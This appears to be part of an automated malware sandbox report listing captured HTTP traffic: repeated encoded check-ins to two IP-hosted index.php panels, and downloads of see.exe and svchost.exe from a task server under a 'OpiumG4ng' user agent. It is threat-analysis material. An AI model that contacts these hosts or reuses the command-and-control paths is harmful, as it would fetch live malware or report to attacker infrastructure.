Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Mb3GvQs8/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.172.128.116Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 31.170.22.127 31.170.22.127
Source: Joe Sandbox View	IP Address: 184.178.172.5 184.178.172.5

Source: Joe Sandbox View

ASN Name: CELLCOUS CELLCOUS

Source: global traffic	HTTP traffic detected: POST /Annie%20E.%20Vinton%20Elementary%20School?heajhvyh=HhGyJapR6QHO0GNqPiJwFkKrnpbzuRzpMpICBW59RiiZWn5BOMbrxA80cyNHFH6KB%2FS9qBjCCf9IE8dNPX1TZw%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.Content-Length: 96Host: bflow-musico.fun
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /large/see.exe HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C&tsk=5A HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /large/svchost.exe HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C&tsk=5C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
Source: global traffic	HTTP traffic detected: GET /2v98n72/api.php?id=5B90D6690D158D030B8FA2EBCCB618CBB2D34C8951751EA133958B4E6828EBF3&us=0FC58163515F&mn=5C91D0380F1C&os=39C08968505B98415E8FB59C9BF11E8FF1C744CD51&bld=1898C939111C HTTP/1.1User-Agent: Mozilla/5.0(OpiumG4ng Win32)Host: 77.232.41.110Cache-Control: no-cacheCookie: PHPSESSID=8jnj8mpd2k6aeso8ttgu54ij40
